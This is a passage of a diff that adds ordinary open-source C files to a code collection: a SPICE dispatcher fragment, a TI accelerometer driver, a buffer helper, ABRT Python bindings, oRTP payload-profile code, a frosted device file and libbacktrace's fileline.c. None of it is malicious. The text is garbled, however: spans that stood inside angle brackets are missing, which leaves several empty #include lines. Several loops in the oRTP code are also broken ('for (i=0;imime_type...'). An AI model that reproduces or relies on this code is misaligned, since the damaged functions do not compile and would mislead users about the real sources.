sizeof(main_dispatcher)); + main_dispatcher.core = core; + dispatcher_init(&main_dispatcher.base, MAIN_DISPATCHER_NUM_MESSAGES, &main_dispatcher.base); + core->watch_add(main_dispatcher.base.recv_fd, SPICE_WATCH_EVENT_READ, + dispatcher_handle_read, &main_dispatcher.base); + dispatcher_register_handler(&main_dispatcher.base, MAIN_DISPATCHER_CHANNEL_EVENT, + main_dispatcher_handle_channel_event, + sizeof(MainDispatcherChannelEventMessage), 0 /* no ack */); + dispatcher_register_handler(&main_dispatcher.base, MAIN_DISPATCHER_MIGRATE_SEAMLESS_DST_COMPLETE, + main_dispatcher_handle_migrate_complete, + sizeof(MainDispatcherMigrateSeamlessDstCompleteMessage), 0 /* no ack */); +} diff --git a/pool/shard001/C/0021969_hal_acc.c b/pool/shard001/C/0021969_hal_acc.c new file mode 100644 index 0000000000000000000000000000000000000000..124b7e0d77486322c2f5926d9eb20b5ad2b11c2c --- /dev/null +++ b/pool/shard001/C/0021969_hal_acc.c @@ -0,0 +1,283 @@ +/************************************************************************************************** + Filename: hal_acc.c + Revised: $Date: 2013-03-26 07:47:25 -0700 (Tue, 26 Mar 2013) $ + Revision: $Revision: 33597 $ + + Description: Driver for the Kionix KXTI9 Accelerometer. + + Copyright 2012-2013 Texas Instruments Incorporated. All rights reserved. + + IMPORTANT: Your use of this Software is limited to those specific rights + granted under the terms of a software license agreement between the user + who downloaded the software, his/her employer (which must be your employer) + and Texas Instruments Incorporated (the "License"). You may not use this + Software unless you agree to abide by the terms of the License. The License + limits your use, and you acknowledge, that the Software may not be modified, + copied or distributed unless embedded on a Texas Instruments microcontroller + or used solely and exclusively in conjunction with a Texas Instruments radio + frequency transceiver, which is integrated into your product. Other than for + the foregoing purpose, you may not use, reproduce, copy, prepare derivative + works of, modify, distribute, perform, display or sell this Software and/or + its documentation for any purpose. + + YOU FURTHER ACKNOWLEDGE AND AGREE THAT THE SOFTWARE AND DOCUMENTATION ARE + PROVIDED AS IS WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, + INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY, TITLE, + NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL + TEXAS INSTRUMENTS OR ITS LICENSORS BE LIABLE OR OBLIGATED UNDER CONTRACT, + NEGLIGENCE, STRICT LIABILITY, CONTRIBUTION, BREACH OF WARRANTY, OR OTHER + LEGAL EQUITABLE THEORY ANY DIRECT OR INDIRECT DAMAGES OR EXPENSES + INCLUDING BUT NOT LIMITED TO ANY INCIDENTAL, SPECIAL, INDIRECT, PUNITIVE + OR CONSEQUENTIAL DAMAGES, LOST PROFITS OR LOST DATA, COST OF PROCUREMENT + OF SUBSTITUTE GOODS, TECHNOLOGY, SERVICES, OR ANY CLAIMS BY THIRD PARTIES + (INCLUDING BUT NOT LIMITED TO ANY DEFENSE THEREOF), OR OTHER SIMILAR COSTS. + + Should you have any questions regarding your right to use this Software, + contact Texas Instruments Incorporated at www.TI.com. + +**************************************************************************************************/ + +/* ------------------------------------------------------------------------------------------------ +* Includes +* ------------------------------------------------------------------------------------------------ +*/ + +#include "hal_acc.h" +#include "hal_sensor.h" +#include "hal_i2c.h" +#include "hal_board_cfg.h" + +/* ------------------------------------------------------------------------------------------------ +* Constants +* ------------------------------------------------------------------------------------------------ +*/ +// Sensor I2C address +#define HAL_KXTI9_I2C_ADDRESS 0x0F + +// KXTI9 register addresses +#define ACC_REG_ADDR_XOUT_HPF_L 0x00 // R +#define ACC_REG_ADDR_XOUT_HPF_H 0x01 // R +#define ACC_REG_ADDR_YOUT_HPF_L 0x02 // R +#define ACC_REG_ADDR_YOUT_HPF_H 0x03 // R +#define ACC_REG_ADDR_ZOUT_HPF_L 0x04 // R +#define ACC_REG_ADDR_ZOUT_HPF_H 0x05 // R +#define ACC_REG_ADDR_XOUT_L 0x06 // R +#define ACC_REG_ADDR_XOUT_H 0x07 // R +#define ACC_REG_ADDR_YOUT_L 0x08 // R +#define ACC_REG_ADDR_YOUT_H 0x09 // R +#define ACC_REG_ADDR_ZOUT_L 0x0A // R +#define ACC_REG_ADDR_ZOUT_H 0x0B // R +#define ACC_REG_ADDR_DCST_RESP 0x0C // R +#define ACC_REG_ADDR_WHO_AM_I 0x0F // R +#define ACC_REG_ADDR_TILT_POS_CUR 0x10 // R +#define ACC_REG_ADDR_TILT_POS_PRE 0x11 // R + +#define ACC_REG_ADDR_INT_SRC_REG1 0x15 // R +#define ACC_REG_ADDR_INT_SRC_REG2 0x16 // R +#define ACC_REG_ADDR_STATUS_REG 0x18 // R +#define ACC_REG_ADDR_INT_REL 0x1A // R + +#define ACC_REG_ADDR_CTRL_REG1 0x1B // R/W +#define ACC_REG_ADDR_CTRL_REG2 0x1C // R/W +#define ACC_REG_ADDR_CTRL_REG3 0x1D // R/W + +#define ACC_REG_ADDR_INT_CTRL_REG1 0x1E // R/W +#define ACC_REG_ADDR_INT_CTRL_REG2 0x1F // R/W +#define ACC_REG_ADDR_INT_CTRL_REG3 0x20 // R/W +#define ACC_REG_ADDR_DATA_CTRL_REG 0x21 // R/W + +#define ACC_REG_ADDR_TILT_TIMER 0x28 // R/W +#define ACC_REG_ADDR_WUF_TIMER 0x29 // R/W +#define ACC_REG_ADDR_TDT_TIMER 0x2B // R/W +#define ACC_REG_ADDR_TDT_H_THRESH 0x2C // R/W +#define ACC_REG_ADDR_TDT_L_THRESH 0x2D // R/W +#define ACC_REG_ADDR_TDT_TAP_TIMER 0x2E // R/W +#define ACC_REG_ADDR_TDT_TOTAL_TIMER 0x2F // R/W +#define ACC_REG_ADDR_TDT_LATENCY_TIMER 0x30 // R/W +#define ACC_REG_ADDR_TDT_WINDOW_TIMER 0x31 // R/W + +#define ACC_REG_ADDR_BUF_CTRL1 0x32 // R/W +#define ACC_REG_ADDR_BUF_CTRL2 0x33 // R/W +#define ACC_REG_ADDR_BUF_STATUS_REG1 0x34 // R +#define ACC_REG_ADDR_BUF_STATUS_REG2 0x35 // R/W +#define ACC_REG_ADDR_BUF_CLEAR 0x36 // W + +#define ACC_REG_ADDR_SELF_TEST 0x3A // R/W + +#define ACC_REG_ADDR_WUF_THRESH 0x5A // R/W +#define ACC_REG_ADDR_TILT_ANGLE 0x5C // R/W +#define ACC_REG_ADDR_HYST_SET 0x5F // R/W +#define ACC_REG_ADDR_BUF_READ 0x7F // R/W + +// Select register valies +#define REG_VAL_WHO_AM_I 0x08 // (data sheet says 0x04) + +// CTRL1 BIT MASKS +#define ACC_REG_CTRL_PC 0x80 // Power control '1' On '0' Off +#define ACC_REG_CTRL_RES 0x40 // Resolution '1' High '0' Low +#define ACC_REG_CTRL_DRDYE 0x20 // Data Ready '1' On '0' Off +#define ACC_REG_CTRL_GSEL_HI 0x10 // Range '00' +/-2g '01' +/-4g +#define ACC_REG_CTRL_GSEL_LO 0x08 // '10' +/-8g '11' N/A +#define ACC_REG_CTRL_GSEL_TDTE 0x04 // Directional Tap '1' On '0' Off +#define ACC_REG_CTRL_GSEL_WUFE 0x02 // Wake Up '1' On '0' Off +#define ACC_REG_CTRL_GSEL_TPE 0x01 // Tilt Position '1' On '0' Off + +#ifdef ACC_RANGE_8G +// Range +- 8G +#define ACC_REG_CTRL_ON ( ACC_REG_CTRL_PC | ACC_REG_CTRL_GSEL_HI) +#define ACC_REG_CTRL_OFF ( ACC_REG_CTRL_GSEL_HI) +#else +// Range +- 2G +#define ACC_REG_CTRL_ON ( ACC_REG_CTRL_PC ) +#define ACC_REG_CTRL_OFF ( 0 ) +#endif + +/* ------------------------------------------------------------------------------------------------ +* Typedefs +* ------------------------------------------------------------------------------------------------ +*/ + +/* ------------------------------------------------------------------------------------------------ +* Macros +* ------------------------------------------------------------------------------------------------ +*/ + +/* ------------------------------------------------------------------------------------------------ +* Local Functions +* ------------------------------------------------------------------------------------------------ +*/ +static void HalAccSelect(void); + +/* ------------------------------------------------------------------------------------------------ +* Local Variables +* ------------------------------------------------------------------------------------------------ +*/ +static uint8 accSensorConfig; +static uint8 accSensorOff; + +/************************************************************************************************** +* @fn HalAccInit +* +* @brief This function initializes the HAL Accelerometer abstraction layer. +* +* @return None. +*/ +void HalAccInit(void) +{ + accSensorConfig = ACC_REG_CTRL_ON; + accSensorOff = ACC_REG_CTRL_OFF; +} + + +/************************************************************************************************** +* @fn HalAccRead +* +* @brief Read data from the accelerometer - X, Y, Z - 3 bytes +* +* @return TRUE if valid data, FALSE if not +*/ +bool HalAccRead(uint8 *pBuf ) +{ + uint8 x; + uint8 y; + uint8 z; + bool success; + + // Select this sensor + HalAccSelect(); + + HalSensorWriteReg(ACC_REG_ADDR_CTRL_REG1, &accSensorConfig, sizeof(accSensorConfig)); + + // Wait for measurement ready (appx. 1.45 ms) + ST_HAL_DELAY(180); + + // Read the three registers + success = HalSensorReadReg( ACC_REG_ADDR_XOUT_H, &x, sizeof(x)); + if (success) + { + success = HalSensorReadReg( ACC_REG_ADDR_YOUT_H, &y, sizeof(y)); + if (success) + { + success = HalSensorReadReg( ACC_REG_ADDR_ZOUT_H, &z, sizeof(z)); + } + } + + if (success) + { + // Valid data + pBuf[0] = x; + pBuf[1] = y; + pBuf[2] = z; + } + + HalSensorWriteReg(ACC_REG_ADDR_CTRL_REG1, &accSensorOff, sizeof(accSensorOff)); + + return success; +} + + +/************************************************************************************************** + * @fn HalAccTest + * + * @brief Run a sensor self-test + * + * @return TRUE if passed, FALSE if failed + */ +bool HalAccTest(void) +{ + uint8 val; + + // Select this sensor on the I2C bus + HalAccSelect(); + + // Check the DCST_RESP (pattern 0x55) + ST_ASSERT(HalSensorReadReg(ACC_REG_ADDR_DCST_RESP, &val, 1)); + ST_ASSERT(val==0x55); + + // Check the DCST_RESP (pattern 0xAA) + val = 0x10; // Sets the DCST bit + ST_ASSERT(HalSensorWriteReg(ACC_REG_ADDR_CTRL_REG3, &val, 1)); + ST_ASSERT(HalSensorReadReg(ACC_REG_ADDR_DCST_RESP, &val, 1)); + ST_ASSERT(val==0xAA); + + // Check the WHO AM I register + ST_ASSERT(HalSensorReadReg(ACC_REG_ADDR_WHO_AM_I, &val, 1)); + ST_ASSERT(val==REG_VAL_WHO_AM_I); + + return TRUE; +} + +/* ------------------------------------------------------------------------------------------------ +* Private functions +* ------------------------------------------------------------------------------------------------- +*/ + +/************************************************************************************************** +* @fn HalAccSelect +* +* @brief Select the accelerometer on the I2C-bus +* +* @return +*/ +static void HalAccSelect(void) +{ + //Set up I2C that is used to communicate with SHT21 + HalI2CInit(HAL_KXTI9_I2C_ADDRESS,i2cClock_267KHZ); +} + +/* Conversion algorithm for X, Y, Z + * ================================ + * +float calcAccel(int8 rawX) +{ + float v; + + //-- calculate acceleration, unit G, range -2, +2 + v = (rawX * 1.0) / (256/4); + + return v; +} +*/ + +/********************************************************************* +*********************************************************************/ diff --git a/pool/shard001/C/0021976_buffer.c b/pool/shard001/C/0021976_buffer.c new file mode 100644 index 0000000000000000000000000000000000000000..2bff360428365ac2859539e35cdf06f27ca206bd --- /dev/null +++ b/pool/shard001/C/0021976_buffer.c @@ -0,0 +1,117 @@ +/* + * Copyright © 2006,2007,2008 Pierre Habouzit + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The names of its contributors may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE CONTRIBUTORS ``AS IS'' AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "common/buffer.h" + +#include +#include + +char buffer_slop[1]; + +void +buffer_ensure(buffer_t *buf, int newlen) +{ + if (newlen < 0) + exit(EX_SOFTWARE); + + if (newlen < buf->size) + return; + + if (newlen < buf->offs + buf->size && buf->offs > buf->size / 4) + { + /* Data fits in the current area, shift it left */ + memmove(buf->s - buf->offs, buf->s, buf->len + 1); + buf->s -= buf->offs; + buf->size += buf->offs; + buf->offs = 0; + return; + } + + buf->size = p_alloc_nr(buf->size + buf->offs); + if (buf->size < newlen + 1) + buf->size = newlen + 1; + if (buf->alloced && !buf->offs) + p_realloc(&buf->s, buf->size); + else + { + char *new_area = xmalloc(buf->size); + memcpy(new_area, buf->s, buf->len + 1); + if (buf->alloced) + free(buf->s - buf->offs); + buf->alloced = true; + buf->s = new_area; + buf->offs = 0; + } +} + +void +buffer_addvf(buffer_t *buf, const char *fmt, va_list args) +{ + int len; + va_list ap; + + va_copy(ap, args); + buffer_ensure(buf, BUFSIZ); + + len = vsnprintf(buf->s + buf->len, buf->size - buf->len, fmt, args); + if (unlikely(len < 0)) + return; + if (len >= buf->size - buf->len) + { + buffer_ensure(buf, len); + vsnprintf(buf->s + buf->len, buf->size - buf->len, fmt, ap); + } + buf->len += len; + buf->s[buf->len] = '\0'; +} + +void +buffer_addf(buffer_t *buf, const char *fmt, ...) +{ + va_list args; + va_start(args, fmt); + buffer_addvf(buf, fmt, args); + va_end(args); +} + +/** Detach the data from a buffer. + * \param Buffer from which detach. + * \return The data. + */ +char * +buffer_detach(buffer_t *buf) +{ + char *res = buf->s; + if (!buf->alloced) + res = a_strdup(buf->s); + buffer_init(buf); + return res; +} + +// vim: filetype=c:expandtab:shiftwidth=4:tabstop=8:softtabstop=4:textwidth=80 diff --git a/pool/shard001/C/0021979_problem_data.c b/pool/shard001/C/0021979_problem_data.c new file mode 100644 index 0000000000000000000000000000000000000000..f72617fbdefa39316a7b6fe7f8dd10bdab3d41b9 --- /dev/null +++ b/pool/shard001/C/0021979_problem_data.c @@ -0,0 +1,152 @@ +/* + Copyright (C) 2010 Abrt team. + Copyright (C) 2010 RedHat inc. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +*/ +#include +#include + +#include +#include "common.h" + +static void +p_problem_data_dealloc(PyObject *pself) +{ + p_problem_data *self = (p_problem_data*)pself; + problem_data_free(self->cd); + self->cd = NULL; + Py_TYPE(self)->tp_free(pself); +} + +static PyObject * +p_problem_data_new(PyTypeObject *type, PyObject *args, PyObject *kwds) +{ + p_problem_data *self = (p_problem_data *)type->tp_alloc(type, 0); + if (self) + self->cd = problem_data_new(); + return (PyObject *)self; +} + +static PyObject *p_problem_data_add(PyObject *pself, PyObject *args) +{ + p_problem_data *self = (p_problem_data*)pself; + + const char *name; + const char *content; + int flags = 0; + if (!PyArg_ParseTuple(args, "ss|i", &name, &content, &flags)) + { + /* PyArg_ParseTuple raises the exception saying why it fails + * eg: TypeError: function takes exactly 2 arguments (1 given) + */ + return NULL; + } + problem_data_add(self->cd, name, content, flags); + + /* every function returns PyObject, to return void we need to do this */ + Py_RETURN_NONE; +} + +/* struct problem_item *problem_data_get_item_or_NULL(problem_data_t *problem_data, const char *key); */ +static PyObject *p_problem_data_get_item(PyObject *pself, PyObject *args) +{ + p_problem_data *self = (p_problem_data*)pself; + const char *key; + if (!PyArg_ParseTuple(args, "s", &key)) + { + return NULL; + } + struct problem_item *ci = problem_data_get_item_or_NULL(self->cd, key); + if (ci == NULL) + { + Py_RETURN_NONE; + } + return Py_BuildValue("sI", ci->content, ci->flags); +} + +/* struct dump_dir *create_dump_dir_from_problem_data(problem_data_t *problem_data, const char *base_dir_name); */ +static PyObject *p_create_dump_dir_from_problem_data(PyObject *pself, PyObject *args) +{ + p_problem_data *self = (p_problem_data*)pself; + const char *base_dir_name = NULL; + if (!PyArg_ParseTuple(args, "|s", &base_dir_name)) + { + return NULL; + } + p_dump_dir *new_dd = PyObject_New(p_dump_dir, &p_dump_dir_type); + if (!new_dd) + return NULL; + struct dump_dir *dd = create_dump_dir_from_problem_data(self->cd, base_dir_name); + if (!dd) + { + PyObject_Del((PyObject*)new_dd); + PyErr_SetString(ReportError, "Can't create the dump dir"); + return NULL; + } + new_dd->dd = dd; + return (PyObject*)new_dd; +} + +static PyObject *p_problem_data_add_basics(PyObject *pself, PyObject *always_null) +{ + p_problem_data *self = (p_problem_data*)pself; + problem_data_add_basics(self->cd); + + Py_RETURN_NONE; +} + +static PyObject *p_problem_data_add_current_process(PyObject *pself, PyObject *always_null) +{ + p_problem_data *self = (p_problem_data*)pself; + problem_data_add_current_process_data(self->cd); + + Py_RETURN_NONE; +} + +static PyObject *p_problem_data_send_to_abrt(PyObject *pself, PyObject *always_null) +{ + p_problem_data *self = (p_problem_data*)pself; + int result = problem_data_send_to_abrt(self->cd); + + return Py_BuildValue("i", result); +} + +//static PyMemberDef p_problem_data_members[] = { +// { NULL } +//}; + +static PyMethodDef p_problem_data_methods[] = { + /* method_name, func, flags, doc_string */ + { "add" , p_problem_data_add , METH_VARARGS }, + { "get" , p_problem_data_get_item , METH_VARARGS }, + { "create_dump_dir" , p_create_dump_dir_from_problem_data, METH_VARARGS }, + { "add_basics" , p_problem_data_add_basics , METH_NOARGS }, + { "add_current_proccess", p_problem_data_add_current_process , METH_NOARGS }, + { "send_to_abrt" , p_problem_data_send_to_abrt , METH_NOARGS }, + { NULL } +}; + +PyTypeObject p_problem_data_type = { + PyVarObject_HEAD_INIT(NULL, 0) + .tp_name = "report.problem_data", + .tp_basicsize = sizeof(p_problem_data), + .tp_flags = Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, + .tp_new = p_problem_data_new, + .tp_dealloc = p_problem_data_dealloc, + //.tp_init = p_problem_data_init, + //.tp_members = p_problem_data_members, + .tp_methods = p_problem_data_methods, +}; diff --git a/pool/shard001/C/0021983_rtpprofile.c b/pool/shard001/C/0021983_rtpprofile.c new file mode 100644 index 0000000000000000000000000000000000000000..8c34b7d59bba7f304398634dd80066e793e978bc --- /dev/null +++ b/pool/shard001/C/0021983_rtpprofile.c @@ -0,0 +1,231 @@ +/* + The oRTP library is an RTP (Realtime Transport Protocol - rfc3550) stack. + Copyright (C) 2001 Simon MORLAT simon.morlat@linphone.org + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +*/ + +#include "ortp/ortp.h" + + +int rtp_profile_get_payload_number_from_mime(RtpProfile *profile,const char *mime) +{ + PayloadType *pt; + int i; + for (i=0;imime_type,mime)==0){ + return i; + } + } + } + return -1; +} + +int rtp_profile_find_payload_number(RtpProfile*profile,const char *mime,int rate,int channels) +{ + int i; + PayloadType *pt; + for (i=0;imime_type,mime)==0 && + pt->clock_rate==rate && + (pt->channels==channels || channels<=0 || pt->channels<=0)) { + /*we don't look at channels if it is undefined + ie a negative or zero value*/ + return i; + } + } + } + return -1; +} + +int rtp_profile_get_payload_number_from_rtpmap(RtpProfile *profile,const char *rtpmap) +{ + int clock_rate, channels, ret; + char* subtype = ortp_strdup( rtpmap ); + char* rate_str = NULL; + char* chan_str = NULL; + + /* find the slash after the subtype */ + rate_str = strchr(subtype, '/'); + if (rate_str && strlen(rate_str)>1) { + *rate_str = 0; + rate_str++; + + /* Look for another slash */ + chan_str = strchr(rate_str, '/'); + if (chan_str && strlen(chan_str)>1) { + *chan_str = 0; + chan_str++; + } else { + chan_str = NULL; + } + } else { + rate_str = NULL; + } + + // Use default clock rate if none given + if (rate_str) clock_rate = atoi(rate_str); + else clock_rate = 8000; + + // Use default number of channels if none given + if (chan_str) channels = atoi(chan_str); + else channels = -1; + + //printf("Searching for payload %s at freq %i with %i channels\n",subtype,clock_rate,ch1annels); + ret=rtp_profile_find_payload_number(profile,subtype,clock_rate,channels); + ortp_free(subtype); + return ret; +} + +PayloadType * rtp_profile_find_payload(RtpProfile *prof,const char *mime,int rate,int channels) +{ + int i; + i=rtp_profile_find_payload_number(prof,mime,rate,channels); + if (i>=0) return rtp_profile_get_payload(prof,i); + return NULL; +} + + +PayloadType * rtp_profile_get_payload_from_mime(RtpProfile *profile,const char *mime) +{ + int pt; + pt=rtp_profile_get_payload_number_from_mime(profile,mime); + if (pt==-1) return NULL; + else return rtp_profile_get_payload(profile,pt); +} + + +PayloadType * rtp_profile_get_payload_from_rtpmap(RtpProfile *profile, const char *rtpmap) +{ + int pt = rtp_profile_get_payload_number_from_rtpmap(profile,rtpmap); + if (pt==-1) return NULL; + else return rtp_profile_get_payload(profile,pt); +} + +int rtp_profile_move_payload(RtpProfile *prof,int oldpos,int newpos){ + if (oldpos<0 || oldpos>=RTP_PROFILE_MAX_PAYLOADS) { + ortp_error("Bad old pos index %i",oldpos); + return -1; + } + if (newpos<0 || newpos>=RTP_PROFILE_MAX_PAYLOADS) { + ortp_error("Bad new pos index %i",newpos); + return -1; + } + prof->payload[newpos]=prof->payload[oldpos]; + prof->payload[oldpos]=NULL; + return 0; +} + +RtpProfile * rtp_profile_new(const char *name) +{ + RtpProfile *prof=(RtpProfile*)ortp_new0(RtpProfile,1); + rtp_profile_set_name(prof,name); + return prof; +} + +/** + * Assign payload type number index to payload type desribed in pt for the RTP profile profile. + * @param profile a RTP profile + * @param idx the payload type number + * @param pt the payload type description + * +**/ +void rtp_profile_set_payload(RtpProfile *prof, int idx, PayloadType *pt){ + if (idx<0 || idx>=RTP_PROFILE_MAX_PAYLOADS) { + ortp_error("Bad index %i",idx); + return; + } + prof->payload[idx]=pt; +} + +/** + * Initialize the profile to the empty profile (all payload type are unassigned). + *@param profile a RTP profile + * +**/ +void rtp_profile_clear_all(RtpProfile *obj){ + int i; + for (i=0;ipayload[i]=0; + } +} + + +/** + * Set a name to the rtp profile. (This is not required) + * @param profile a rtp profile object + * @param nm a string + * +**/ +void rtp_profile_set_name(RtpProfile *obj, const char *name){ + if (obj->name!=NULL) ortp_free(obj->name); + obj->name=ortp_strdup(name); +} + +/* ! payload are not cloned*/ +RtpProfile * rtp_profile_clone(RtpProfile *prof) +{ + int i; + PayloadType *pt; + RtpProfile *newprof=rtp_profile_new(prof->name); + for (i=0;iname); + for (i=0;iname) { + ortp_free(prof->name); + prof->name = NULL; + } + for (i=0;iflags & PAYLOAD_TYPE_ALLOCATED)) + payload_type_destroy(payload); + } + ortp_free(prof); +} diff --git a/pool/shard001/C/0021984_device.c b/pool/shard001/C/0021984_device.c new file mode 100644 index 0000000000000000000000000000000000000000..aa484265dd2ff00640b49b65e2b4b29e7c47563b --- /dev/null +++ b/pool/shard001/C/0021984_device.c @@ -0,0 +1,46 @@ +/* + * This file is part of frosted. + * + * frosted is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2, as + * published by the Free Software Foundation. + * + * + * frosted is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with frosted. If not, see . + * + * Authors: + * + */ + +#include "frosted.h" +#include "device.h" + +int device_open(const char *path, int flags) +{ + struct fnode *f = fno_search(path); + if (!f) + return -1; + return task_filedesc_add(f); +} + +struct device * device_fno_init(struct module * mod, const char * name, struct fnode *node, uint32_t flags, void * priv) +{ + struct device * device = kalloc(sizeof(struct device)); + device->fno = NULL; + /* Only create a device node if there is a name */ + if(name) + { + device->fno = fno_create(mod, name, node); + device->fno->priv = priv; + device->fno->flags |= flags; + } + device->task = NULL; + device->mutex = mutex_init(); + return device; +} diff --git a/pool/shard001/C/0021987_fileline.c b/pool/shard001/C/0021987_fileline.c new file mode 100644 index 0000000000000000000000000000000000000000..e5673068379b50cdf9dc92c145902f93b7c984f9 --- /dev/null +++ b/pool/shard001/C/0021987_fileline.c @@ -0,0 +1,201 @@ +/* fileline.c -- Get file and line number information in a backtrace. + Copyright (C) 2012-2018 Free Software Foundation, Inc. + Written by Ian Lance Taylor, Google. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + (1) Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + (2) Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + + (3) The name of the author may not be used to + endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING +IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. */ + +#include "config.h" + +#include +#include +#include +#include +#include +#include + +#include "backtrace.h" +#include "internal.h" + +#ifndef HAVE_GETEXECNAME +#define getexecname() NULL +#endif + +/* Initialize the fileline information from the executable. Returns 1 + on success, 0 on failure. */ + +static int +fileline_initialize (struct backtrace_state *state, + backtrace_error_callback error_callback, void *data) +{ + int failed; + fileline fileline_fn; + int pass; + int called_error_callback; + int descriptor; + const char *filename; + char buf[64]; + + if (!state->threaded) + failed = state->fileline_initialization_failed; + else + failed = backtrace_atomic_load_int (&state->fileline_initialization_failed); + + if (failed) + { + error_callback (data, "failed to read executable information", -1); + return 0; + } + + if (!state->threaded) + fileline_fn = state->fileline_fn; + else + fileline_fn = backtrace_atomic_load_pointer (&state->fileline_fn); + if (fileline_fn != NULL) + return 1; + + /* We have not initialized the information. Do it now. */ + + descriptor = -1; + called_error_callback = 0; + for (pass = 0; pass < 5; ++pass) + { + int does_not_exist; + + switch (pass) + { + case 0: + filename = state->filename; + break; + case 1: + filename = getexecname (); + break; + case 2: + filename = "/proc/self/exe"; + break; + case 3: + filename = "/proc/curproc/file"; + break; + case 4: + snprintf (buf, sizeof (buf), "/proc/%ld/object/a.out", + (long) getpid ()); + filename = buf; + break; + default: + abort (); + } + + if (filename == NULL) + continue; + + descriptor = backtrace_open (filename, error_callback, data, + &does_not_exist); + if (descriptor < 0 && !does_not_exist) + { + called_error_callback = 1; + break; + } + if (descriptor >= 0) + break; + } + + if (descriptor < 0) + { + if (!called_error_callback) + { + if (state->filename != NULL) + error_callback (data, state->filename, ENOENT); + else + error_callback (data, + "libbacktrace could not find executable to open", + 0); + } + failed = 1; + } + + if (!failed) + { + if (!backtrace_initialize (state, filename, descriptor, error_callback, + data, &fileline_fn)) + failed = 1; + } + + if (failed) + { + if (!state->threaded) + state->fileline_initialization_failed = 1; + else + backtrace_atomic_store_int (&state->fileline_initialization_failed, 1); + return 0; + } + + if (!state->threaded) + state->fileline_fn = fileline_fn; + else + { + backtrace_atomic_store_pointer (&state->fileline_fn, fileline_fn); + + /* Note that if two threads initialize at once, one of the data + sets may be leaked. */ + } + + return 1; +} + +/* Given a PC, find the file name, line number, and function name. */ + +int +backtrace_pcinfo (struct backtrace_state *state, uintptr_t pc, + backtrace_full_callback callback, + backtrace_error_callback error_callback, void *data) +{ + if (!fileline_initialize (state, error_callback, data)) + return 0; + + if (state->fileline_initialization_failed) + return 0; + + return state->fileline_fn (state, pc, callback, error_callback, data); +} + +/* Given a PC, find the symbol for it, and its value. */ + +int +backtrace_syminfo (struct backtrace_state *state, uintptr_t pc, + backtrace_syminfo_callback callback, + backtrace_error_callback error_callback, void *data) +{ + if (!fileline_initialize (state, error_callback, data)) + return 0; + + if (state->fileline_initialization_failed) + return 0; + + state->syminfo_fn (state, pc, callback, error_callback, data); + return 1; +} diff --git a/pool/shard001/C/0022005_module_csv.c b/pool/shard001/C/0022005_module_csv.c new file mode 100644 index 